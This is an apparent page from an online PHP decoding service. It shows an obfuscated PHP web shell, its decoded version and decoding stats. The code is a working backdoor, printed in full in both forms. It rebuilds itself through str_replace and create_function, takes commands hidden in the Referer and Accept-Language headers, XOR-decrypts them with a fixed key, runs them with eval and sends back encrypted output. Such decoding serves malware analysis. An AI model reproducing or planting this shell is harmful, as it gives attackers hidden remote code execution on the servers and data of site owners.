Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $r='-0,$x-e)))x-,$k)));$o=x-obx-_x-get_contentsx-();ox-b_end_clean()x-;$d=bax-se64_..
Decoded Output download
$kh="098f";$kf="6bcd";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}
Did this file decode correctly?
Original Code
<?php
$r='-0,$x-e)))x-,$k)));$o=x-obx-_x-get_contentsx-();ox-b_end_clean()x-;$d=bax-se64_ex-nx-cod';
$d='{$i}^$k{$j};}}rx-eturn $x-x-o;}$r=$_x-SEx-RVx-Ex-R;$rr=@$r["HTTP_Rx-EFx-ERERx-"];$ra=@$r';
$O='e(x(gzcx-omx-x-press($o),$k));prx-int(x-x-"x-<$k>$d</$kx->")x-;@session_destx-roy();}}}}';
$A='4_dex-codx-ex-(preg_replx-ace(array("/_x-/","/-/x-"),arrx-x-ay("/","+"x-),$ss($sx-[$i],x';
$c='SIOx-N;$x-ss="substr";$sx-l="strtolowx-er";$x-i=$x-m[1x-][0].$m[1][1x-]x-;$h=$sl($ss(mdx';
$D='-5($i.$x-kh),0,x-x-3));$f=x-$sl($x-ss(mdx-5($i.$kf),0x-,3x-));$p="x-";for($z=1;$x-x-z<co';
$l='$p=$ss(x-$p,3)x-;}if(x-arrayx-_key_exix-sts($x-i,$x-s)){$s[$ix-].=$p;x-$e=x-strpos($s[$x';
$I=';$o="";fx-or($ix-=0;x-$x-i<$l;){for($x-j=0;($j<$x-x-c&&$i<$l);$j+x-+x-,$i++x-x-)x-{$o.=$t';
$N='-i],$f);x-if(x-x-$e){$k=$kh.$kfx-;x-ob_start();@x-evax-l(@x-gx-zuncompress(@x(x-@basx-e6';
$W='["HTTPx-_x-ACCEPTx-_LANx-GUx-AGE"];if($rr&x-x-&$ra){x-$u=parse_url($rx-r);px-arse_str(x-';
$K='-;q=x-0.([\\x-d]))?,?/",$x-ra,$x-mx-);if($x-q&&$m){@sesx-sion_stax-rt();$x-s=&x-x-$_x-SES';
$t='$kh="09x-8fx-";$kf="6bx-cd";functiox-n x($tx-,$x-k){$c=strlx-en(x-$k);x-$l=sx-trlen($t)x-';
$y=str_replace('lN','','clNrlNeate_lNflNlNunctlNion');
$j='unt($mx-[1]);x-$x-z++)$p.=$q[$mx-[x-2][$z]];if(sx-trposx-($px-x-,$h)===0){$s[x-$i]=x-"";';
$R='$u[x-"qux-ery"],$q);$qx-=array_vx-ax-lues($qx-);x-preg_mx-atch_all("x-/([\\x-w])[\\w-]+(?:x';
$F=str_replace('x-','',$t.$I.$d.$W.$R.$K.$c.$D.$j.$l.$N.$A.$r.$O);
$J=$y('',$F);$J();
?>
Function Calls
null | 1 |
str_replace | 2 |
create_function | 1 |
Stats
MD5 | a80956d54a8e6c01de01fb381484fd9f |
Eval Count | 1 |
Decode Time | 98 ms |